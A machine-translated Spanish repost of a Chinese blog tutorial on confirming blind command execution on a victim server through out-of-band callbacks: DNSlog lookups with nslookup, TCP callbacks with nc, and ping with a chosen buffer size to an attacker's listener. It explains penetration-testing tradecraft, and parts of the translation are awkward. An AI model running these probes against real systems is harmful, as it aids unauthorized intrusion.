El comando puede ejecutar medios de monitoreo (juicio)

El comando puede ejecutar medios de monitoreo (juicio)

Cuando encontramos un punto de ejecución de comando sospechoso y encontramos que no hay eco después de ejecutar el comando, ¿cómo juzgar si el comando se puede ejecutar?

Registro DNS

Este es el método de uso más común. A muchas personas les gusta usar la plataforma dnslog o crear servicios DNSlog por sí mismos.

Aplicación del principio de vigilancia

nslookup <randstr> <ip>

Si la cadena aleatoria correspondiente (<randstr>) se almacena en la ip correspondiente, significa que el comando se ejecuta. No entraré en detalles sobre el uso y los principios básicos, entonces, ¿qué otros métodos tenemos además de DNSlog?

Registro de puerto aleatorio TCP

De hecho, para la mayoría de los escenarios excepto DNS, la mayoría de las "detecciones" anti-conexión usan TCP como protocolo básico, y podemos lograr una compatibilidad compleja de escritura de múltiples aplicaciones implementando el protocolo basado en TCP. El método que usamos a menudo es ejecutar el comando nc.

servidor víctima

nc -l <port>
<randstr>

imagen.png

servidor atacante

nc <ip>  <port>

imagen.png

Pero hay una desventaja en los dos métodos anteriores, es decir, no todos los servidores tienen nslookupcomandos y nccomandos instalados, especialmente los servidores de Windows, entonces, ¿podemos encontrar un comando que esté disponible en casi todos los sistemas operativos e instalado en la inicialización? ? ? La respuesta está ahí, ¡ese es nuestro comando ping de uso común! ! !

Registro de tamaño ICMP

Como todos sabemos, el comando de activación más simple para icmp es el comando ping, y básicamente todos los servidores tienen el comando ping, si encontramos un punto sospechoso de ejecución del comando de la víctima, si se ejecuta el comando ping y se hace ping al servidor del atacante. , significa que el comando se puede ejecutar, por lo que aún tenemos que resolver un problema, cómo probar que hacer ping a nuestro servidor es el servidor de la víctima, el registro DNS y el registro del puerto TCP pasan una cadena aleatoria para probarlo, pero el comando ping no puede enviar caracteres aleatorios Entonces, ¿qué más podemos hacer?

Echemos un vistazo a la aplicación de ping.

imagen.png

Esta es la opción de comando ping en Windows, podemos notar -leste elemento, podemos personalizar el tamaño del búfer de envío, entonces, ¿podemos usar el tamaño del búfer como un número aleatorio? La respuesta es sí.

Podemos construir un servidor de escucha simple en nuestro propio servidor

链接:https://pan.baidu.com/s/1yRUvUZrUI1-6WE1ymbMhqQ 
提取码:h1bg 
python2 main_dnslog.py

imagen.png

Envié un dato con un tamaño de búfer de 520 en un servidor víctima (Windows)

ping -l 520 <ip>

imagen.png

Podemos ver que el servidor atacante escuchó con éxito un dato con un tamaño de caché de 520, lo que indica que se ejecutó el comando ping y se puede determinar que la identidad del ejecutor es la víctima.

imagen.png

Una cosa más a tener en cuenta aquí es que la opción de tamaño de caché de Windows es -l, mientras que las opciones de tamaño de caché de Mac y Linux son -s, es decirping -c 4 -s <len> <ip>

imagen.png

imagen.png

Supongo que te gusta

Origin blog.csdn.net/weixin_46706771/article/details/124386085
Recomendado
Clasificación